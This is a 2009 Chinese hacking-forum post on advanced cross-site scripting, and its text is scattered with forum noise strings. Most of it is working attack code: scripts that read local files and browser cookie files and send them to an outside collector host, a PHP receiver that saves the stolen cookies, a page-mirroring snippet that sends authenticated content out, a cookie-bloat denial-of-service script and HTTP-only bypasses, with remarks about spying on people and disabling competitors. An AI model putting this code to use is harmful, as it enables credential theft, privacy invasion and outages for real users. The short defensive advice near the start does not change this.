XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
4 ^; F9 T. P. m' D本帖最后由 racle 于 2009-5-30 09:19 编辑
  T/ J) o- s. d! |( F$ W, b. l
! L# J) ?6 a3 I" H3 @XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
7 U" b2 b. ]! i: c( PBy racle@tian6.com   
7 i/ b; ^! n3 j/ W: y- Hhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权


  L1 H; ?  h1 n5 i1 E
6 i7 ]6 N8 a& }; \' Y/ d-------------------------------------------前言---------------------------------------------------------


3 A1 a* f8 j$ `+ c/ N6 v0 N本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
' ~* K5 R0 M* F  @. y. q

7 B% D  R8 v7 D! m( w6 u如果你还未具备基础XSS知识,以下几个文章建议拜读:
: x% f8 w* M4 V: l5 Ihttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
3 R2 A1 l4 ]$ w$ z+ vhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
1 v% m. c: F+ \) g+ I2 p  ]7 w0 h* qhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

' M% b, S$ \" Y) i2 V, G& J

, j4 Z% C5 ^$ L7 K3 f) G
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
' L3 G9 t9 n4 I" H
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
3 V: Q. m7 T, h! W. D
  o7 h0 W# _$ i3 x如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
- w" n* v1 r$ K, j  D1 ^/ l
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
9 m2 I) v* \1 _' A% e( O4 U' @+ i! B
QQ ZONE,校内网XSS     感染过万QQ ZONE.

: h' V1 F+ g# W: `; ^( r& Q) O, SOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
* c) x7 R2 G" j/ R
..........
复制代码------------------------------------------介绍-------------------------------------------------------------
; v( _. @7 z0 F- T) |& C
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

9 H( O4 K5 _5 U( A

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
0 T$ i. m1 i) _. k


" D" T3 z2 z/ W$ p! L如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

3 k; d4 p" s/ Z1 ]1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
! ]4 A; [# g5 A+ Y& s# _, Y* J2 u
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

3 P2 [% ~* A0 E4        XSS漏洞在输出和输入两个方面怎么才能避免.
) I6 W" G2 w  K- C+ L( }8 R' k$ c
. h% q) P1 q& M3 Z0 m. R) F* y
* a2 R' {* E% `  c' \; P! h1 M: L5 q
# G" A6 r( S' r  \------------------------------------------研究正题----------------------------------------------------------



. b4 e. l* A4 ?6 j0 ?2 B通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
0 P0 i, p  V" V复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
+ @6 E% ^, C8 [3 N7 e$ l5 o! B复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
5 A/ e+ k2 r3 X: A# y3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
) d' S) w) C5 n" p
% \$ f/ I% N0 F0 E
; z$ e5 S$ w! U3 ]+ g7 W

; c# ~  ^- d( o6 ]- g: J8 C/ R
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
  Y/ b% f/ k8 V
3 v+ v; s$ M( b7 y. k我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

0 _9 j! G1 J0 `
0 H; Q4 y+ }, s  @; o; `
9 w$ V; Q7 e# R1 U0 L8 M8 L( P+ y    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
( `7 z: {5 E. H6 z
: N# i$ X2 A& K- O9 D% G
9 R( e/ [( r4 h
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


* B8 T/ J: ~7 ?. A0 t7 Q) `
2 x! m0 k- k3 c1 I, y    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
3 @' p) c1 k/ B4 D6 @: d- |复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
2 H2 N6 b/ k/ J
5 t+ b: t9 B2 \5 ^1 ]% D
/ x! f! J9 p: J$ @/ w' B+ m
0 w. [2 e  q' I. E1 [  X1 Z/ i    function ajax_obj(){
6 G2 @' P6 I% `6 @2 F1 o
    var request = false;
1 i- K3 f6 n& _& Z# y
( Q9 q# o, L: _% R8 d    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
$ F4 Z6 b" q0 e% e( Y! T) n
    } else if(window.ActiveXObject) {

; U) x. F, P3 y8 {- l- K+ l    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
+ X4 F) W5 J) j

' v3 z9 e( p$ Q7 L
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 n1 G+ c0 G% v2 w
- g. @* N# ?3 Y$ \  Y4 m    for(var i=0; i<versions.length; i++) {

! ]1 p! W1 s$ D    try {
) R% Z9 w1 M/ Q2 a/ o
0 B7 i; I; M0 {6 ^( `) w    request = new ActiveXObject(versions);
/ ^$ L& @- x- ^8 Z- U
" K2 e0 \0 p8 _) P7 F    } catch(e) {}

3 J, |2 X! _: T    }

( n0 d6 {3 }0 D' S# r. e) b" y' j    }
* p, }2 g% _2 i! H& q! N% F1 }# ^
* d7 N; X0 c8 Z5 O" }5 a3 \8 ?    return request;
: [& _2 e, ?/ b/ O- s# Z
5 D& W$ q6 I% o) o: w0 Y/ J    }

    var _x = ajax_obj();
* _; X7 A& x3 l
    function _7or3(_m,action,argv){
) N* m$ P- P0 z& _
; n. z4 }$ c0 y4 Z9 H    _x.open(_m,action,false);
% f% s" b1 Z$ \, j2 {" K! H
% ~. z# m9 C/ Q" Z# R0 E+ q    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
& C' k4 L; \+ F/ p" ~2 G' a, h
/ m4 u* E" X& m& k    _x.send(argv);
* D, P+ e0 d0 a) d8 z1 z% n
    return _x.responseText;

- P6 z% t$ \7 i. n2 ]  Q3 k3 v3 R    }


" X& p2 j- k' e8 k% W. f. M5 _6 S
0 H( o6 D/ A' y2 I" v    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
5 Q3 k' V# n. S* ]5 I6 U6 D
    alert(txt);
  L9 i: }, W0 M: n' x: }4 |. {' ^


    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
+ ]4 [4 i- a/ E% Y
6 H6 M9 T$ V6 v( S7 @$ ], a
" U) \. I  h& c8 n9 A, F8 m" R1 e
    function ajax_obj(){
: a/ Q- B% a1 o) {
    var request = false;

    if(window.XMLHttpRequest) {
& G$ d' x  O5 O9 z* _
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
& C6 u5 O2 L( }5 p$ i8 k
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
& ^  }# T  i; u5 g* @' P$ X% s
( @) e# w: A/ y) f* H

' f. b. S' S0 ^- }1 `4 H( j    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

% R* b( Z; h/ P3 h% o' T9 S    for(var i=0; i<versions.length; i++) {

5 {4 \) U3 j' p, Q$ P    try {

9 Y) _- g4 S- t+ e1 e7 Z    request = new ActiveXObject(versions);
  N9 _( n' O7 p
    } catch(e) {}

    }

0 h2 J3 j! R2 S- g- v    }

    return request;

2 x, r- S: J( X2 n    }
/ ^, y; T( z7 p- z, _9 J
& a# g, ?3 O! J# v. g2 [    var _x = ajax_obj();

4 S  a9 L: O. x    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

+ \  [* ~2 h4 Y9 h3 e/ |6 @6 i% g8 R    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

1 F, L0 {5 g8 F    _x.send(argv);

- o3 T/ t! B7 v9 U% Y    return _x.responseText;
, p! b5 z: n, J. ^* L8 x) a
- }" T+ `9 j+ k5 ~: w7 v4 K    }



6 j. o5 G( Z. C; s    var txt=_7or3("GET","1/11.txt",null);
$ n/ A& R# s1 s: p
5 D$ [( o- o; z+ `/ r0 @    alert(txt);
9 ~6 U5 s- X* E/ n' Q2 y
- Y9 n: y4 E$ `+ q
  _9 ]( X& \7 S6 ]! q
  F/ G; B4 g) f, @6 _* c  K. V, z. C    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

4 D- P: P, i5 q2 X
( s2 a. @: S) Q
' a0 y5 {' O6 k( rChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
3 i5 G% _- I; e/ V9 T

, ^$ g* I8 i2 W) Z4 f- x& a9 t
7 o0 |# n( s1 X* K" @<?   
. {- B- Z* L9 @4 l3 ^  K
. d' p  Q2 W4 O; h/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
  e$ r' W3 |2 w4 e! W- C4 U/ b
     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
* u, d1 e$ }1 R8 m7 y0 I
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
) X2 K7 z) Q3 C% U
*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
" N4 ?& p+ K- ]- P: H$ g* D, W/ v2 L
0 A4 y9 Y5 h  E1 L0 }* {% |/*  

+ J& o0 J( u6 o1 ^" Y     set header, so just download html file,and open it at local.  

' b- z/ m# S/ s. ]# G% ]) y) Z4 R*/  

?>   
& W, v# |% R+ `. e1 I) l5 s% }
& S4 ]7 Y1 Q& R<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   
- S  }2 g2 J/ s" z! q7 F
<script>   
( g# n3 i% c! S, R8 v" `
function doMyAjax(user)   
7 Q' |, O; M. u6 h; }
; r  r2 Z4 h2 z# _0 P* _- s% [{   
( F, u4 h1 Y5 U( l) Q" b1 n! Y
var time = Math.random();   

/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
2 K- o- B! a1 @, f5 g) d' E
+ W8 L8 L! `& k$ ?2 a2 n/ k3 M, kand so on...  
1 C% w3 F# P7 R& a9 h
*/  
5 n' m- [1 n+ j
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
- r9 Y: U$ v  o2 v7 a* q
/ `' m) e( s% A1 k   

3 L" m( ~. W) J. _! BstartRequest(strPer);   

: h. r' Q" @, G- T9 V
: c- ?. b1 T1 c% }; u& `( u
}   
6 M4 Y; ^( }% @& u; z. v& f
   
9 O: W, X. U: N' a- G* U
function Enshellcode(txt)   
( e3 P" l/ P' ^) @8 y1 B- C; W( {7 w
{   

* s* t1 Y, D- Y# F  Bvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   
6 Z, z+ `! @. A# z) V. t3 z( c
l= url.length;   
) J8 M3 T; w" d% u. o. h3 z
# d  u% m) l' \( |5 k- xfor(;i<l;i++){   
, W  I0 C( {! ?; B; X
) @" t! p% q, O. \6 \k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
% C9 w4 C. ~7 r7 O# d
& z/ h) V/ |) p, Nif (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
* i' ?1 ]) n- e5 D, K4 z0 s. t, f
return curl;   

}   

7 n- _% i: v* |/ Z* I6 g   
$ d  [5 D) @) D1 F& t3 _( a; U
   

var xmlHttp;   

; C7 |: T  B+ _$ S- }8 S$ ffunction createXMLHttp(){   

' _# j0 e' n9 D) |     if(window.XMLHttpRequest){   
7 w* |6 W, @' T' Z0 }+ A
xmlHttp = new XMLHttpRequest();           

) l5 n% w# `* S     }   
0 V# Q" t; o* Q) t# \- g% Z
# S* K' c8 B/ b" _# C9 x     else if(window.ActiveXObject){   
4 v( V0 M) T  X% a0 q7 x: }, d
5 i8 X+ J0 z- a8 b5 oxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

9 h3 U- f$ h0 w- g     }   

}   
& m: Y: F& R( N. ]$ Z
* p7 Q3 v8 r1 L8 h   
; D4 q  O& U4 {% O7 @- N
function startRequest(doUrl){   
& a0 i* W! }0 E/ G  m9 o% {
   

0 ~4 s6 F0 i5 C+ ^     createXMLHttp();   
6 s' }. D& \& y% O5 x; \. |* U
( @2 m& L0 q! d" w! A6 e% b
+ x- p* V# M1 C7 C
- ?' ?7 w6 q% R4 E     xmlHttp.onreadystatechange = handleStateChange;   
8 p. V0 X/ b( n: ]3 o' T3 `
$ u; l; @% z0 F4 F3 w& Z
+ P! B& N3 |. k+ s9 Z( }' c9 F
: w/ i. ~' V0 ^4 O3 _1 O     xmlHttp.open("GET", doUrl, true);   
% b* i- C* T+ I( \
3 n  Q1 j; M  a

, v6 `& d6 f! \+ I6 Y     xmlHttp.send(null);   
8 S8 j+ M( k/ ?: {! e- M- K
( `$ h7 ]% s. H/ B, A/ ?
+ S1 I6 p; D7 {- a+ ?4 d

& v2 ]1 l% r6 u# {6 `4 p: e
7 l- a5 [$ v/ U8 _8 M$ j}   
1 S# ?) D* R2 H# m6 j4 J
   

6 ~' V9 U& X; A) Z5 ~- w% `function handleStateChange(){   
$ C. X: u2 u$ @# g6 K
     if (xmlHttp.readyState == 4 ){   
) |! y" r2 I7 Y1 T2 l' |. _5 v
, v, e# ^% ?5 Z- M9 f& x     var strResponse = "";   

# \: N& ~% U# h  u: }% i8 \     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

3 R8 N  v; b7 z! \# N  T     }   

}   
: X  E& f% O* K6 {7 ]' b
2 F4 \% G; z* s9 P: B! k   

   

function framekxlzxPost(text)   
, K' |$ N3 \0 ?) m! n8 x* \/ s& r
6 K/ Z3 |9 S6 r{   
# V5 P/ ]  x# A% z9 }
  u3 p1 t! K8 R: x6 Q) W     document.getElementById("input").value = Enshellcode(text);   
7 J. E& |! M) l0 U9 \
# W' \) a0 e4 n- e7 Y     document.getElementById("form").submit();   

}   
& }- u6 p- o+ a- @7 ]2 t7 t5 [$ ]
   

. c! V$ {: m, V9 GdoMyAjax("administrator");   

" w; n4 U  a; x) k   
- H1 M. m  F1 i' A* c% F
& ^: w7 O, Q' j! r</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

) e% W3 w+ I) \& F: fvar xmlHttp;  

* d( r: w0 A* T, @) Dfunction createXMLHttp(){  
, s  P2 B, k: G5 V
  g4 d0 A: ^1 K- C! ]$ d     if(window.XMLHttpRequest){  

. o: o9 }8 h6 {+ f; x5 u         xmlHttp = new XMLHttpRequest();         
& e; S. |# G: a) Y* o" j+ Y
. n1 _" u0 }7 ]% q" {2 x     }  
7 N* {# y" ~8 ]$ {6 _, O! b' `
7 u) ~0 n* b! k     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

+ f. j6 G, O. P, w+ a# U, M4 A     }  
  H* g6 d/ E/ ?" F
* _& n9 O# B- F" M7 d  `}  

  Q* y! [/ J! g( k# ]. G# M   

function startRequest(doUrl){  

           

. D5 }, D% \* ]     createXMLHttp();  

      

: [$ a+ Y- S: |+ R2 C     xmlHttp.onreadystatechange = handleStateChange;  
, x1 p2 |* H2 b4 z/ H5 O
      

' R# H- u, `3 j     xmlHttp.open("GET", doUrl, true);  
4 R; V% q# f4 z6 {$ J! x! |
      

     xmlHttp.send(null);  

1 ]! b1 H* n+ P! z      

      

  A: |* \. z/ K+ b. M1 M+ h}   

- z* h  H; u3 a; j# Q2 c2 w' \   
5 k: }% p2 ~* L* T
' v* z) q/ e! {( U1 ~function handleStateChange(){  
! v& f0 n3 X1 E- ]/ ^2 U# E2 L
     if (xmlHttp.readyState == 4 ){  
5 c9 S. `8 W' m0 z, \, F% \
             var strResponse = "";  
4 _- K/ g! X/ x2 R# I0 b  x
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

! e+ P  H9 x1 _) C# p- z               
) W( P7 J& u& X+ B* b" u+ X
     }  
6 z8 l: }7 y1 d, Q# `
}  

   
! L: l* r0 M0 Q4 P/ G, E! U0 `
function doMyAjax(user,file)  
2 Q7 i. `6 X$ J! d$ \- n/ X
) c8 |5 Z5 n  v: M9 T( d{  

6 K, {' U+ X( }) x+ _         var time = Math.random();  
/ m$ T# ~7 F# O: M4 N; G
  p5 w' _3 h( K3 ?, q- {9 t           
* c0 w5 B. g4 d5 V) Z
. m" r5 e- o) F         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
) U: ?" M7 R( x
5 X& }9 M! S1 ?  u$ H         startRequest(strPer);  

      

$ A: w1 g* ?5 Y. S, F* {8 f0 i}  

( g; G2 p/ \9 [: k* W   

function framekxlzxPost(text)  

3 q4 N5 P; I% w$ b{  

9 `% @2 g* B- s) W0 R, u/ N! H- j     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

5 \* ^% ^" L, _0 e     alert(/ok/);  
' `! }. {3 g8 c1 Z2 ~# y
}  
' g8 W7 [! b, j: |3 C
   
5 r& }% y* @7 A( j8 o
doMyAjax('administrator','administrator@alibaba[1].txt');  
4 E" p4 K- y# K, y7 _8 k
7 m, N" m* y2 y: V" B# P0 r" }   
) b1 E7 I4 x/ Q! O
6 x% c% C# E# L) S' z</script>
7 H6 ~+ r% g# M

+ M) k( c- F( `+ L0 N4 X* S. C
- G3 {. C2 }2 u8 e  r) ?6 q) R

a.php
! r; `. K2 t/ [8 \& @2 g2 R
# Q! f, c/ j. l

& }6 `( h/ }" m& Y, k: B<?php      
* y8 W& e$ ?4 A8 p% t5 x5 J
7 M3 M9 J$ t1 L* s" ]! |   
' X4 Y* y1 y8 X  t
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
) Y6 j/ P' M! `
! x7 E7 K: m4 y" l% k, \9 m/ @- n+ ?0 j$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
' f% q  B6 {, j1 v) a6 Z, F
% U5 k+ R, V. {3 G$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

) Q: U* R: C% D, zfwrite($fp,$_GET["cookie"]);      
( Z; {# w; V; ^2 _
4 E/ ^) A& v' j2 pfclose($fp);   

: g- v: {2 \8 y/ U, G: U* ?6 {?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
* [  N0 i5 }/ c$ q) T6 n' q' s/ T( B
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
+ M$ V3 d2 H! y5 x利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
$ A0 u0 W5 ^3 E3 q# ^4 T
+ u: o* `0 N, m8 I; A3 n2 @( y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
9 O) u* F: o8 f9 U8 {
' R# [7 o- Y! Z) X//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
3 o( K# W" l& Z
; W1 O( ]( ], Y& _function getURL(s) {

' ~" Z8 ^% b5 U* C3 K( @) O3 qvar image = new Image();
6 M  D+ z) L5 g. ~- \
8 }0 S4 b! e! g2 [/ r' P' L* bimage.style.width = 0;
( |9 e( @2 Y8 W$ o( |2 p& {
image.style.height = 0;
& s; {# `7 `( k
- G+ ^+ \1 V. x, T* g! b1 m4 g2 @9 Dimage.src = s;
: K2 o% i$ `( @) f$ ^, V* J* j* G  F
" ]2 R3 P; _/ V, _- a* l6 X& y}

& p- Z, L" a) `7 [$ B" w) igetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
' L- M7 u5 v* v7 V' }( h, m, _/ B复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
5 G& R: G( N( o  o: j7 E2 P) S这里引用大风的一段简单代码:<script language="javascript">
9 Z4 b7 Y4 ~4 o, g! Y) m
var metastr = "AAAAAAAAAA"; // 10 A
8 U: Z/ J2 f4 {, m
/ d3 z) _! c% w1 I9 Gvar str = "";

* P* t# P' N  T; H) _/ Wwhile (str.length < 4000){

' _1 w/ e- }$ e- h0 t+ X3 ?& V    str += metastr;

1 Q! E9 Y" s& l) J}

' }1 o+ {# @6 m

7 K, ~# a6 @2 C* J% Pdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

# U5 k: o. `1 V# v详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
# ^) f9 T6 t+ |; K. z  \  Pserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
4 b" A* F9 k( l/ }3 M
( F$ U1 {: m' \9 |/ u& E+ @7 V4 z8 B假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

5 a0 ]7 K& p9 {3 r5 d0 W

5 d  Q+ H8 p$ L* _0 m


" U; e: w& z, a9 b2 d4 Y(III) Http only bypass 与 补救对策:
4 y$ T$ U9 G: L; e3 H) F3 A. f
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

8 h7 m9 d& T8 r<!--

9 a) y+ v! Q+ G' jfunction normalCookie() {
" L6 m9 O$ B" Z9 w6 q' D
document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
/ p) J* l+ Y3 _* ?7 Q$ q
/ q# s- g  J9 U1 h: P4 W6 J0 D}


' H2 |8 q( z1 @2 q* _* }7 D; |' x


function httpOnlyCookie() {
# ?1 J  ~8 ^8 d% g
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

; Z7 S% m/ g! I2 }/ Palert(document.cookie);}
. S! e8 m3 n& t# i  ?. |( }

& i/ b4 I+ w0 u: _4 @1 `( v
+ \1 w0 K" S: a//-->
! |) N9 N2 D3 M0 E( _
</script>



<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
% ^; B! t& T) B1 _# B& R
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


0 n! c7 c  T' u; f% i5 ]
var request = false;
+ O6 i5 O8 q, o+ l( {$ G' t( u
        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

9 D/ p; X3 I- U' `- p% x5 g. n- a            if(request.overrideMimeType) {
' c7 ~4 u. l, ~1 Y; ?
                request.overrideMimeType('text/xml');

1 X, d1 G" x1 G+ P5 N- Z, I            }

        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; B$ |1 K  w% U; i1 q$ j" X+ t: D
            for(var i=0; i<versions.length; i++) {
8 q$ T. }5 B1 [* `: Q, X
! d& E8 L1 N! W5 n& @4 c4 _  |+ q2 ?                try {

0 t: ]) s. L& S2 l" Z( k( g+ I+ Y! z                    request = new ActiveXObject(versions);
" s. l5 i3 R7 Z  E# w) K
9 l; ~# w" m7 j" \3 W5 W6 ?+ c                } catch(e) {}

            }

        }
# f/ G% Y% b' y4 b0 E
  v9 k; u7 L3 }$ c8 \xmlHttp=request;

6 i+ x7 h( p. G7 p/ i: N3 S) qxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

1 T" {9 B5 E; @+ KxmlDoc=xmlHttp.responseText;

alert(xmlDoc);

( G) u$ e  i3 ^6 H. T, Q</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
4 W* _) `: @# q: D2 j2 ?
1 `5 s) [+ O1 \var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
- S+ Z* W& |' Q0 K" M* Q# @
6 c; q( a% q2 b1 I' c1 L0 |( g# G% RXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
0 T# v* S1 e+ j/ ~! x! c- m5 e
2 R8 J' o" `& q8 {var resource=xmlHttp.responseText

resource.search(/cookies/);
7 Q/ ?- k6 k2 ^# h, Z! e
4 I; K0 F! `# h9 i......................
: O% J6 E, d( s, P# w
</script>

$ b+ Z6 U! e" ~8 z4 a% d



2 ]& ]7 S) G" h# @. n如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
  s! A/ Q5 v6 ?6 `* [: {% T
9 U, C, B& N. {# d3 z[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

